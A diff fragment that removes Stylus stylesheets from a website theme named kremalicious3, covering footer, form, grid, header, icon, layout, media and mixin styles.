width: 2rem
|
|
||||||
padding: $padding-small-vertical
|
|
||||||
margin: 0
|
|
||||||
display: inline-block
|
|
||||||
color: $text-color-light
|
|
||||||
|
|
||||||
&:first-child
|
|
||||||
margin-left: 0
|
|
||||||
|
|
||||||
&:last-child
|
|
||||||
margin-right: 0
|
|
||||||
|
|
||||||
.icon
|
|
||||||
transition: color .3s ease-in-out
|
|
||||||
display: block
|
|
||||||
margin: 0 auto
|
|
||||||
|
|
||||||
.rss:hover .icon
|
|
||||||
fill: #e15a00
|
|
||||||
.json:hover .icon
|
|
||||||
fill: #8BE028
|
|
||||||
.twitter:hover .icon
|
|
||||||
fill: #019ad2
|
|
||||||
.google:hover .icon
|
|
||||||
fill: #c63b1e
|
|
||||||
.facebook:hover .icon
|
|
||||||
fill: #3b5998
|
|
||||||
.github:hover .icon
|
|
||||||
fill: #333
|
|
||||||
|
|
||||||
.subscribe-title
|
|
||||||
@extend .h5, .text-dimmed
|
|
||||||
margin-bottom: ($spacer/2)
|
|
||||||
|
|
||||||
.footer__btc
|
|
||||||
margin-left: ($spacer / 2)
|
|
||||||
.icon
|
|
||||||
width: 10px
|
|
||||||
margin-right: 0
|
|
||||||
code
|
|
||||||
font-size: .55rem
|
|
||||||
background: none
|
|
||||||
color: $link-color
|
|
||||||
padding: 0
|
|
||||||
@ -1,189 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Forms
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Normalize non-controls
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
fieldset
|
|
||||||
padding: 0
|
|
||||||
margin: 0
|
|
||||||
border: 0
|
|
||||||
min-width: 0
|
|
||||||
|
|
||||||
legend
|
|
||||||
display: block
|
|
||||||
width: 100%
|
|
||||||
padding: 0
|
|
||||||
margin-bottom: $spacer
|
|
||||||
font-size: ($font-size-base * 1.5)
|
|
||||||
line-height: inherit
|
|
||||||
border: 0
|
|
||||||
|
|
||||||
label
|
|
||||||
@extend .bold
|
|
||||||
display: inline-block
|
|
||||||
margin-bottom: 5px
|
|
||||||
cursor: pointer
|
|
||||||
|
|
||||||
|
|
||||||
// Normalize form controls
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
// Override content-box in Normalize (* isn't specific enough)
|
|
||||||
input[type="search"]
|
|
||||||
box-sizing: border-box
|
|
||||||
|
|
||||||
// Position radios and checkboxes better
|
|
||||||
input[type="radio"],
|
|
||||||
input[type="checkbox"]
|
|
||||||
margin: 4px 0 0
|
|
||||||
margin-top: 1px \9 // IE8-9
|
|
||||||
line-height: normal
|
|
||||||
|
|
||||||
// Set the height of file controls to match text inputs
|
|
||||||
input[type="file"]
|
|
||||||
display: block
|
|
||||||
|
|
||||||
// Make range inputs behave like textual form controls
|
|
||||||
input[type="range"]
|
|
||||||
display: block
|
|
||||||
width: 100%
|
|
||||||
|
|
||||||
// Make multiple select elements height not fixed
|
|
||||||
select[multiple],
|
|
||||||
select[size]
|
|
||||||
height: auto
|
|
||||||
|
|
||||||
|
|
||||||
// Common form controls
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.form-control
|
|
||||||
display: block
|
|
||||||
width: 100%
|
|
||||||
padding: $padding-base-vertical $padding-base-horizontal
|
|
||||||
font-size: $input-font-size
|
|
||||||
font-weight: $input-font-weight
|
|
||||||
line-height: $line-height
|
|
||||||
color: $input-color
|
|
||||||
background-color: $input-bg
|
|
||||||
background-image: none // Reset unusual Firefox-on-Android default style
|
|
||||||
border: 0
|
|
||||||
border-radius: $input-border-radius
|
|
||||||
box-shadow: none
|
|
||||||
transition: all ease-in-out .15s
|
|
||||||
-webkit-appearance: none // screw you, iOS default inset box-shadow
|
|
||||||
|
|
||||||
// Placeholder
|
|
||||||
placeholder($input-color-placeholder)
|
|
||||||
|
|
||||||
&:hover
|
|
||||||
lighten($input-bg, 30%)
|
|
||||||
|
|
||||||
&:focus
|
|
||||||
background-color: $input-bg-focus
|
|
||||||
border-color: $input-border-focus
|
|
||||||
outline: 0
|
|
||||||
placeholder(lighten($input-color-placeholder, 25%))
|
|
||||||
|
|
||||||
// Disabled and read-only inputs
|
|
||||||
//
|
|
||||||
// HTML5 says that controls under a fieldset > legend:first-child won't be
|
|
||||||
// disabled if the fieldset is disabled. Due to implementation difficulty, we
|
|
||||||
// don't honor that edge case; we style them as disabled anyway.
|
|
||||||
&[disabled],
|
|
||||||
&[readonly],
|
|
||||||
fieldset[disabled] &
|
|
||||||
cursor: not-allowed
|
|
||||||
background-color: $input-bg-disabled
|
|
||||||
opacity: 1 // iOS fix for unreadable disabled content
|
|
||||||
|
|
||||||
|
|
||||||
// Form groups
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.form-group
|
|
||||||
margin-bottom: $spacer
|
|
||||||
|
|
||||||
|
|
||||||
// Search inputs
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
input[type="search"]
|
|
||||||
-webkit-appearance: none // This overrides the extra rounded corners on search inputs in iOS
|
|
||||||
|
|
||||||
|
|
||||||
// Checkboxes and radios
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.radio,
|
|
||||||
.checkbox
|
|
||||||
display: block
|
|
||||||
min-height: $spacer // clear the floating input if there is no label text
|
|
||||||
margin-top: 10px
|
|
||||||
margin-bottom: 10px
|
|
||||||
|
|
||||||
label
|
|
||||||
padding-left: 20px
|
|
||||||
margin-bottom: 0
|
|
||||||
font-weight: normal
|
|
||||||
cursor: pointer
|
|
||||||
|
|
||||||
.radio input[type="radio"],
|
|
||||||
.radio-inline input[type="radio"],
|
|
||||||
.checkbox input[type="checkbox"],
|
|
||||||
.checkbox-inline input[type="checkbox"]
|
|
||||||
float: left
|
|
||||||
margin-left: -20px
|
|
||||||
|
|
||||||
.radio + .radio,
|
|
||||||
.checkbox + .checkbox
|
|
||||||
margin-top: -5px // Move up sibling radios or checkboxes for tighter spacing
|
|
||||||
|
|
||||||
// Radios and checkboxes on same line
|
|
||||||
.radio-inline,
|
|
||||||
.checkbox-inline
|
|
||||||
display: inline-block
|
|
||||||
padding-left: 20px
|
|
||||||
margin-bottom: 0
|
|
||||||
vertical-align: middle
|
|
||||||
font-weight: normal
|
|
||||||
cursor: pointer
|
|
||||||
|
|
||||||
.radio-inline + .radio-inline,
|
|
||||||
.checkbox-inline + .checkbox-inline
|
|
||||||
margin-top: 0
|
|
||||||
margin-left: 10px // space out consecutive inline controls
|
|
||||||
|
|
||||||
// Disabled Behavior
|
|
||||||
input[type="radio"],
|
|
||||||
input[type="checkbox"],
|
|
||||||
.radio,
|
|
||||||
.radio-inline,
|
|
||||||
.checkbox,
|
|
||||||
.checkbox-inline
|
|
||||||
&[disabled],
|
|
||||||
fieldset[disabled] &
|
|
||||||
cursor: not-allowed
|
|
||||||
|
|
||||||
|
|
||||||
// Form control sizing
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
input-small()
|
|
||||||
input-size($padding-small-vertical, $padding-small-horizontal, $font-size-small, $line-height-small, $border-radius-small)
|
|
||||||
placeholder(font-size $font-size-small, line-height $line-height-small)
|
|
||||||
|
|
||||||
input-large()
|
|
||||||
input-size($padding-large-vertical, $padding-large-horizontal, $font-size-large, $line-height-large, $border-radius-large)
|
|
||||||
placeholder(font-size $font-size-large, line-height $line-height-large)
|
|
||||||
|
|
||||||
.input-small
|
|
||||||
input-small()
|
|
||||||
|
|
||||||
.input-large
|
|
||||||
input-large()
|
|
||||||
@ -1,217 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Grid
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
*,
|
|
||||||
*:before,
|
|
||||||
*:after
|
|
||||||
box-sizing: border-box
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Base
|
|
||||||
//
|
|
||||||
.grid
|
|
||||||
display: flex
|
|
||||||
flex-wrap: wrap
|
|
||||||
list-style: none
|
|
||||||
margin: 0
|
|
||||||
padding: 0
|
|
||||||
|
|
||||||
.grid__col
|
|
||||||
flex: 1
|
|
||||||
// Firefox grid fix for whatever reason
|
|
||||||
min-height: 0
|
|
||||||
min-width: 0
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Alignment per row
|
|
||||||
//
|
|
||||||
.grid--top
|
|
||||||
align-items: flex-start
|
|
||||||
|
|
||||||
.grid--bottom
|
|
||||||
align-items: flex-end
|
|
||||||
|
|
||||||
.grid--center
|
|
||||||
align-items: center
|
|
||||||
|
|
||||||
.grid--justifycenter
|
|
||||||
justify-content: center
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Alignment per cell
|
|
||||||
//
|
|
||||||
.grid__col--top
|
|
||||||
align-self: flex-start
|
|
||||||
|
|
||||||
.grid__col--bottom
|
|
||||||
align-self: flex-end
|
|
||||||
|
|
||||||
.grid__col--center
|
|
||||||
align-self: center
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Gutters
|
|
||||||
//
|
|
||||||
.grid--gutters
|
|
||||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
|
||||||
|
|
||||||
> .grid__col
|
|
||||||
padding: $gutter-space 0 0 $gutter-space
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
.grid-small--gutters
|
|
||||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
|
||||||
|
|
||||||
> .grid__col
|
|
||||||
padding: $gutter-space 0 0 $gutter-space
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
.grid-medium--gutters
|
|
||||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
|
||||||
|
|
||||||
> .grid__col
|
|
||||||
padding: $gutter-space 0 0 $gutter-space
|
|
||||||
|
|
||||||
@media $screen-lg
|
|
||||||
.grid-large--gutters
|
|
||||||
margin: -($gutter-space) 0 $gutter-space (-($gutter-space))
|
|
||||||
|
|
||||||
> .grid__col
|
|
||||||
padding: $gutter-space 0 0 $gutter-space
|
|
||||||
|
|
||||||
|
|
||||||
//
|
|
||||||
// Columns
|
|
||||||
//
|
|
||||||
.grid--fit
|
|
||||||
> .grid__col
|
|
||||||
flex: 1
|
|
||||||
|
|
||||||
.grid--full
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 100%
|
|
||||||
|
|
||||||
.grid--1of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 16.5%
|
|
||||||
|
|
||||||
.grid--2of6,
|
|
||||||
.grid--third
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 33.3333%
|
|
||||||
|
|
||||||
.grid--3of6,
|
|
||||||
.grid--half
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 50%
|
|
||||||
|
|
||||||
.grid--4of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 66%
|
|
||||||
|
|
||||||
.grid--5of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 82.5%
|
|
||||||
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
.grid-small--fit
|
|
||||||
> .grid__col
|
|
||||||
flex: 1
|
|
||||||
|
|
||||||
.grid-small--full
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 100%
|
|
||||||
|
|
||||||
.grid-small--1of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 16.5%
|
|
||||||
|
|
||||||
.grid-small--2of6,
|
|
||||||
.grid-small--third
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 33.3333%
|
|
||||||
|
|
||||||
.grid-small--3of6,
|
|
||||||
.grid-small--half
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 50%
|
|
||||||
|
|
||||||
.grid-small--4of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 66%
|
|
||||||
|
|
||||||
.grid-small--5of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 82.5%
|
|
||||||
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
.grid-medium--fit
|
|
||||||
> .grid__col
|
|
||||||
flex: 1
|
|
||||||
|
|
||||||
.grid-medium--full
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 100%
|
|
||||||
|
|
||||||
.grid-medium--1of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 16.5%
|
|
||||||
|
|
||||||
.grid-medium--2of6,
|
|
||||||
.grid-medium--third
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 33.3333%
|
|
||||||
|
|
||||||
.grid-medium--3of6,
|
|
||||||
.grid-medium--half
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 50%
|
|
||||||
|
|
||||||
.grid-medium--4of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 66%
|
|
||||||
|
|
||||||
.grid-medium--5of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 82.5%
|
|
||||||
|
|
||||||
@media $screen-lg
|
|
||||||
.grid-large--fit
|
|
||||||
> .grid__col
|
|
||||||
flex: 1
|
|
||||||
|
|
||||||
.grid-large--full
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 100%
|
|
||||||
|
|
||||||
.grid-large--1of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 16.5%
|
|
||||||
|
|
||||||
.grid-large--2of6,
|
|
||||||
.grid-large--third
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 33.3333%
|
|
||||||
|
|
||||||
.grid-large--3of6,
|
|
||||||
.grid-large--half
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 50%
|
|
||||||
|
|
||||||
.grid-large--4of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 66%
|
|
||||||
|
|
||||||
.grid-large--5of6
|
|
||||||
> .grid__col
|
|
||||||
flex: 0 0 82.5%
|
|
||||||
@ -1,47 +0,0 @@
|
|||||||
.hamburger
|
|
||||||
@extend .transition
|
|
||||||
width: 18px
|
|
||||||
height: 18px
|
|
||||||
position: relative
|
|
||||||
transform: rotate(0deg)
|
|
||||||
cursor: pointer
|
|
||||||
margin-top: 6px
|
|
||||||
|
|
||||||
span
|
|
||||||
@extend .transition
|
|
||||||
display: block
|
|
||||||
position: absolute
|
|
||||||
height: 3px
|
|
||||||
width: 100%
|
|
||||||
background: $text-color-light
|
|
||||||
border-radius: 20px
|
|
||||||
opacity: 1
|
|
||||||
left: 0
|
|
||||||
transform: rotate(0deg)
|
|
||||||
|
|
||||||
&:nth-child(1)
|
|
||||||
top: 0px
|
|
||||||
transform-origin: left center
|
|
||||||
|
|
||||||
&:nth-child(2)
|
|
||||||
top: 5px
|
|
||||||
transform-origin: left center
|
|
||||||
|
|
||||||
&:nth-child(3)
|
|
||||||
top: 10px
|
|
||||||
transform-origin: left center
|
|
||||||
|
|
||||||
|
|
||||||
// open state
|
|
||||||
.has-menu-open &
|
|
||||||
&:nth-child(1)
|
|
||||||
transform: rotate(45deg)
|
|
||||||
top: -1px
|
|
||||||
|
|
||||||
&:nth-child(2)
|
|
||||||
width: 0%
|
|
||||||
opacity: 0
|
|
||||||
|
|
||||||
&:nth-child(3)
|
|
||||||
transform: rotate(-45deg)
|
|
||||||
top: 12px
|
|
||||||
@ -1,73 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Header
|
|
||||||
//
|
|
||||||
|
|
||||||
.site__header
|
|
||||||
margin-top: ($spacer/2)
|
|
||||||
margin-bottom: ($spacer/2)
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
margin-top: $spacer
|
|
||||||
margin-bottom: $spacer
|
|
||||||
|
|
||||||
.grid
|
|
||||||
@extend .breakoutviewport
|
|
||||||
padding-left: $spacer
|
|
||||||
padding-right: $spacer
|
|
||||||
position: relative
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
padding-left: 0
|
|
||||||
padding-right: 0
|
|
||||||
|
|
||||||
> .banner,
|
|
||||||
> .nav-main
|
|
||||||
padding-top: 0
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
// Logo
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.logo
|
|
||||||
display: block
|
|
||||||
background-image: url('../img/logo.png')
|
|
||||||
background-repeat: no-repeat
|
|
||||||
background-position: left top
|
|
||||||
width: 47px
|
|
||||||
height: 31px
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
width: 183px
|
|
||||||
|
|
||||||
@media $highDPI
|
|
||||||
background-image: url('../img/logo@2x.png')
|
|
||||||
background-size: 183px 62px
|
|
||||||
|
|
||||||
@media $highDPI_3x
|
|
||||||
background-image: url('../img/logo@3x.png')
|
|
||||||
background-size: 183px 62px
|
|
||||||
|
|
||||||
.header__title
|
|
||||||
margin: 0
|
|
||||||
// display toned down logo
|
|
||||||
// by default
|
|
||||||
@extend .logo
|
|
||||||
|
|
||||||
.header__logo
|
|
||||||
@extend .ir, .link--nounderline
|
|
||||||
// repeat logo
|
|
||||||
// but display hover version
|
|
||||||
@extend .logo
|
|
||||||
background-position: left bottom
|
|
||||||
|
|
||||||
// hide by default
|
|
||||||
opacity: 0
|
|
||||||
// show smooooothly on hover
|
|
||||||
&:hover
|
|
||||||
opacity: 1
|
|
||||||
|
|
||||||
&:active
|
|
||||||
top: 0
|
|
||||||
@ -1,23 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Icons
|
|
||||||
//
|
|
||||||
|
|
||||||
svg
|
|
||||||
&.icon
|
|
||||||
@extend .transition
|
|
||||||
height: 20px
|
|
||||||
width: 20px
|
|
||||||
display: inline-block
|
|
||||||
fill: $text-color-light
|
|
||||||
vertical-align: baseline
|
|
||||||
|
|
||||||
.btn &
|
|
||||||
height: 18px
|
|
||||||
width: 18px
|
|
||||||
margin: 4px 4px -3px 4px
|
|
||||||
|
|
||||||
// Fix jQuery bug: http://bugs.jquery.com/ticket/11352
|
|
||||||
use
|
|
||||||
pointer-events: none
|
|
||||||
@ -1,92 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Layout
|
|
||||||
//
|
|
||||||
|
|
||||||
.site__content,
|
|
||||||
.header__content
|
|
||||||
.footer__content
|
|
||||||
padding: 0 $spacer
|
|
||||||
width: 100%
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
padding: 0 ($spacer * 2)
|
|
||||||
|
|
||||||
.container
|
|
||||||
max-width: 35rem
|
|
||||||
margin-left: auto
|
|
||||||
margin-right: auto
|
|
||||||
|
|
||||||
.site__document
|
|
||||||
padding-top: ($spacer*2)
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
padding-top: ($spacer*3)
|
|
||||||
|
|
||||||
|
|
||||||
// topbar and footer as fixed
|
|
||||||
// site background
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.site__document
|
|
||||||
background-color: $page-bg
|
|
||||||
border-top: 1px solid rgba(255,255,255,.7)
|
|
||||||
border-bottom: 1px solid rgba(255,255,255,.7)
|
|
||||||
box-shadow: 0 1px 4px alpha($brand-dark, .1), 0 -1px 4px alpha($brand-dark, .2)
|
|
||||||
|
|
||||||
transform: translate3d(0,-($spacer*7.7),0)
|
|
||||||
|
|
||||||
@media $screen-xs
|
|
||||||
transform: translate3d(0,-($spacer*7.2),0)
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
transform: translate3d(0,-($spacer*6),0)
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
transform: translate3d(0,-($spacer*5),0)
|
|
||||||
|
|
||||||
.has-menu-open &
|
|
||||||
transform: translate3d(0,0,0)
|
|
||||||
|
|
||||||
.site__footer
|
|
||||||
margin-top: -($spacer*6.5)
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
margin-top: 0
|
|
||||||
|
|
||||||
.has-menu-open &
|
|
||||||
margin-top: 0
|
|
||||||
|
|
||||||
@media $screen-md and (min-height: 650px)
|
|
||||||
.site
|
|
||||||
position: relative
|
|
||||||
|
|
||||||
.site__document
|
|
||||||
@extend .transition
|
|
||||||
position: relative
|
|
||||||
z-index: 2
|
|
||||||
margin-bottom: 32rem
|
|
||||||
transform: translate3d(0,($spacer*3),0)
|
|
||||||
|
|
||||||
.has-menu-open &
|
|
||||||
transform: translate3d(0,($spacer*8),0)
|
|
||||||
|
|
||||||
.site__header,
|
|
||||||
.site__footer
|
|
||||||
position: fixed
|
|
||||||
border: none
|
|
||||||
width: 100%
|
|
||||||
|
|
||||||
.site__header
|
|
||||||
z-index: 1
|
|
||||||
top: 0
|
|
||||||
border: none
|
|
||||||
|
|
||||||
.site__footer
|
|
||||||
z-index: 0
|
|
||||||
bottom: 0
|
|
||||||
box-shadow: none
|
|
||||||
|
|
||||||
.has-menu-open &
|
|
||||||
hide()
|
|
||||||
@ -1,53 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Media
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Responsive Media
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
figure, img, svg, video, audio, embed, canvas, picture
|
|
||||||
max-width: 100%
|
|
||||||
height: auto
|
|
||||||
margin: 0 auto
|
|
||||||
display: block
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
|
|
||||||
// Images
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
img
|
|
||||||
vertical-align: middle
|
|
||||||
|
|
||||||
|
|
||||||
// Media Positioning
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
img.alignleft,
|
|
||||||
img.alignright,
|
|
||||||
img.aligncenter
|
|
||||||
float: none
|
|
||||||
display: block
|
|
||||||
margin: $spacer auto
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
img.alignleft
|
|
||||||
margin: 0 $spacer $spacer 0
|
|
||||||
img.alignright
|
|
||||||
margin: 0 0 $spacer $spacer
|
|
||||||
|
|
||||||
|
|
||||||
// Image frame style
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.media-frame
|
|
||||||
@extend .transition
|
|
||||||
border-top: 2px solid transparent
|
|
||||||
border-bottom: 2px solid transparent
|
|
||||||
border-radius: $border-radius-base
|
|
||||||
box-shadow: 0 1px 3px alpha($brand-grey,.2)
|
|
||||||
|
|
||||||
@media $screen-sm
|
|
||||||
border: 2px solid transparent
|
|
||||||
@ -1,265 +0,0 @@
|
|||||||
//
|
|
||||||
// kremalicious3
|
|
||||||
// --------------
|
|
||||||
// Mixins
|
|
||||||
//
|
|
||||||
|
|
||||||
|
|
||||||
// Micro Clearfix
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
clearfix()
|
|
||||||
&:before,
|
|
||||||
&:after
|
|
||||||
content: " "
|
|
||||||
display: table
|
|
||||||
&:after
|
|
||||||
clear: both
|
|
||||||
|
|
||||||
.clearfix
|
|
||||||
clearfix()
|
|
||||||
|
|
||||||
|
|
||||||
// Floats
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
alignright()
|
|
||||||
float: right
|
|
||||||
|
|
||||||
alignleft()
|
|
||||||
float: left
|
|
||||||
|
|
||||||
.alignright
|
|
||||||
alignright()
|
|
||||||
|
|
||||||
.alignleft
|
|
||||||
alignleft()
|
|
||||||
|
|
||||||
|
|
||||||
// Centering Blocks
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
aligncenter()
|
|
||||||
display: block
|
|
||||||
margin-left: auto
|
|
||||||
margin-right: auto
|
|
||||||
|
|
||||||
.aligncenter
|
|
||||||
aligncenter()
|
|
||||||
|
|
||||||
|
|
||||||
// Centering Text
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
textcenter()
|
|
||||||
text-align: center
|
|
||||||
|
|
||||||
.textcenter
|
|
||||||
textcenter()
|
|
||||||
|
|
||||||
|
|
||||||
// Toggling content
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
// Hide from both screenreaders and browsers: h5bp.com/u
|
|
||||||
hide()
|
|
||||||
display: none !important
|
|
||||||
visibility: hidden
|
|
||||||
|
|
||||||
show()
|
|
||||||
display: block
|
|
||||||
visibility: visible
|
|
||||||
|
|
||||||
.hide
|
|
||||||
hide()
|
|
||||||
|
|
||||||
.show
|
|
||||||
show()
|
|
||||||
|
|
||||||
// Hide only visually, but have it available for screenreaders: h5bp.com/v
|
|
||||||
visuallyhidden()
|
|
||||||
border: 0
|
|
||||||
clip: rect(0 0 0 0)
|
|
||||||
height: 1px
|
|
||||||
margin: -1px
|
|
||||||
overflow: hidden
|
|
||||||
padding: 0
|
|
||||||
position: absolute
|
|
||||||
width: 1px
|
|
||||||
|
|
||||||
// Extends the .visuallyhidden class to allow the
|
|
||||||
// element to be focusable when navigated to via the keyboard: h5bp.com/p
|
|
||||||
&.focusable:active,
|
|
||||||
&.focusable:focus
|
|
||||||
clip: auto
|
|
||||||
height: auto
|
|
||||||
margin: 0
|
|
||||||
overflow: visible
|
|
||||||
position: static
|
|
||||||
width: auto
|
|
||||||
|
|
||||||
.visuallyhidden
|
|
||||||
visuallyhidden()
|
|
||||||
|
|
||||||
// Hide visually and from screenreaders, but maintain layout
|
|
||||||
.invisible
|
|
||||||
visibility: hidden
|
|
||||||
|
|
||||||
|
|
||||||
// CSS image replacement
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.ir,
|
|
||||||
.hide-text
|
|
||||||
font: 0/0 a
|
|
||||||
color: transparent
|
|
||||||
text-shadow: none
|
|
||||||
background-color: transparent
|
|
||||||
border: 0
|
|
||||||
|
|
||||||
|
|
||||||
// Text overflow
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
ellipsis()
|
|
||||||
text-overflow: ellipsis
|
|
||||||
overflow: hidden
|
|
||||||
white-space: nowrap
|
|
||||||
|
|
||||||
.ellipsis
|
|
||||||
ellipsis()
|
|
||||||
|
|
||||||
|
|
||||||
// Default transition
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
transition()
|
|
||||||
transition: all ease-in-out .15s
|
|
||||||
|
|
||||||
.transition
|
|
||||||
transition()
|
|
||||||
|
|
||||||
// Dashed Dividers
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.divider-top,
|
|
||||||
.divider-bottom
|
|
||||||
position: relative
|
|
||||||
|
|
||||||
&:before
|
|
||||||
content: ""
|
|
||||||
position: absolute
|
|
||||||
left: 0
|
|
||||||
height: 1px
|
|
||||||
|
|
||||||
.divider-top
|
|
||||||
border-top: 1px dashed #afc3cb
|
|
||||||
padding-top: 1em
|
|
||||||
|
|
||||||
&:after
|
|
||||||
content: ""
|
|
||||||
position: absolute
|
|
||||||
left: 0
|
|
||||||
height: 1px
|
|
||||||
top: 0
|
|
||||||
width: 100%
|
|
||||||
border-top: 1px dashed #fff
|
|
||||||
|
|
||||||
.divider-bottom
|
|
||||||
border-bottom: 1px dashed #afc3cb
|
|
||||||
padding-bottom: 1em
|
|
||||||
|
|
||||||
&:before
|
|
||||||
bottom: -2px
|
|
||||||
width: 100%
|
|
||||||
border-bottom: 1px dashed #fff
|
|
||||||
|
|
||||||
// Heading band
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.heading-band
|
|
||||||
display: inline-block
|
|
||||||
clear: both
|
|
||||||
background: rgba(255,255,255,.5)
|
|
||||||
padding: ($spacer/2) $spacer ($spacer/2) 100%
|
|
||||||
margin-left: -100%
|
|
||||||
|
|
||||||
|
|
||||||
// Lead paragraph
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
.lead
|
|
||||||
font-size: $font-size-large
|
|
||||||
line-height: ($spacer*1.15)
|
|
||||||
|
|
||||||
|
|
||||||
// Layout breakout
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
breakoutviewport()
|
|
||||||
margin-left: calc(-50vw + 50%)
|
|
||||||
margin-right: calc(-50vw + 50%)
|
|
||||||
|
|
||||||
@media $screen-md
|
|
||||||
breakoutviewport--base()
|
|
||||||
|
|
||||||
breakoutviewport--base()
|
|
||||||
margin-left: -($gutter-space * 4)
|
|
||||||
margin-right: -($gutter-space * 4)
|
|
||||||
|
|
||||||
breakoutviewport--full()
|
|
||||||
margin-left: calc(-50vw + 50%)
|
|
||||||
margin-right: calc(-50vw + 50%)
|
|
||||||
|
|
||||||
.breakoutviewport
|
|
||||||
breakoutviewport()
|
|
||||||
|
|
||||||
.breakoutviewport--base
|
|
||||||
breakoutviewport--base()
|
|
||||||
|
|
||||||
.breakoutviewport--full
|
|
||||||
breakoutviewport--full()
|
|
||||||
|
|
||||||
// Button sizing
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
button-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
|
|
||||||
padding: padding-vertical padding-horizontal
|
|
||||||
font-size: font-size
|
|
||||||
line-height: line-height
|
|
||||||
border-radius: border-radius
|
|
||||||
|
|
||||||
|
|
||||||
// Form control sizing
|
|
||||||
/////////////////////////////////////
|
|
||||||
|
|
||||||
input-size(padding-vertical, padding-horizontal, font-size, line-height, border-radius)
|
|
||||||
padding: padding-vertical padding-horizontal
|
|
||||||
font-size: font-size
|
|
||||||
line-height: line-height
|
|
||||||
border-radius: border-radius
|
|
||||||
|
|
||||||
input[type="search"]&
|
|
||||||
background-size: font-size
|
|
||||||
background-position: padding-vertical center
|
|
||||||
padding-left: (padding-vertical*4)
|
|
||||||
|
|
||||||
select&
|
|
||||||
